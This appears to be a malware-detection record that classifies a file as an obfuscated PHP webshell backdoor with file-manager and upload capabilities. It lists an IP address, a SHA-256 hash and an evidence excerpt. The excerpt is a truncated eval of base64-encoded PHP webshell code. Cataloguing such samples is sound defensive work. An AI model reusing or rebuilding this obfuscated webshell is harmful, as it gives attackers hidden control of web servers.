188.166.6.154Wx3NkqM4vfyrZi53F@xdJQAAAAsfile
Obfuscated PHP webshell backdoor
PHP destructive file manager webshellPHP upload edit webshell
SHA-256b7a2cf734091efe03f17feda1409acf8a485d7d3d0b44ee9157b151ea3c8ac36
MaleculeO₃(C₃As₄I)H₅(F₉Cm₄Db₃OsPo₂)Md₂
Evidence
1<?php eval("?>".base64_decode("
2PD9waHAKc2V0X3RpbWVfbGltaXQoMCk7CmVycm9yX3JlcG9ydGluZygwKTsKCmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpewogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKICAgICAgICAkX1BPU1RbJGtleV0gPSBzdHJpcHNsYXNoZXMoJHZhbHVlKTsKICAgIH0KfQplY2hvICc8IURPQ1RZUEUgSFRNTD4KPEhUTUw+CjxIRUFEPgo8aW1nIGJvcmRlcj0iMCIgc3R5bGU9ImxlZnQ6IDBweDsgcG9zaXRpb246IGFic29sdXRlOyB0b3A6IDBweDsiIGFsdD0iVmFUYW4iIGJvcmRlcj0iMCIgICBzcmM9Imh0dHBzOi8vaW1nLndlYm1lLmNvbS9waWMvaC9odG1sa29kbGFyaTM0L3NvbF9iYXlyYWsyLnBuZyIgLz48Y2VudGVyPgo8bGluayBocmVmPSIiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPgo8dGl0bGU+NTcuQWxheSBCaXJpbSBCYcWfa2FubMSxxJ/EsS1BaG1lZFLEsXphPC90aXRsZT4KPHN0eWxlPgpib2R5ewogICAgZm9udC1mYW1pbHk6ICJSYWNpbmcgU2FucyBPbmUiLCBjdXJzaXZlOwogICAgYmFja2dyb3VuZC1jb2xvcjogIzAzODE4NDsKICAgIHRleHQtc2hhZG93OjBw …
2:10965… Tk9CRVRURVlJWjwvZm9udD48L2NlbnRlcj4KPGltZyBib3JkZXI9IjAiIHNyYz0iaHR0cHM6Ly90b24udHdpdHRlci5jb20vaS90b24vZGF0YS9kbS85NzQ5MzYyNDE5NzEwNTY2NDQvOTc0OTM2MjI4ODQyOTI2MDgwL0dJdjluWWVvLnBuZyIgd2lkdGg9IjI1MCIgaG …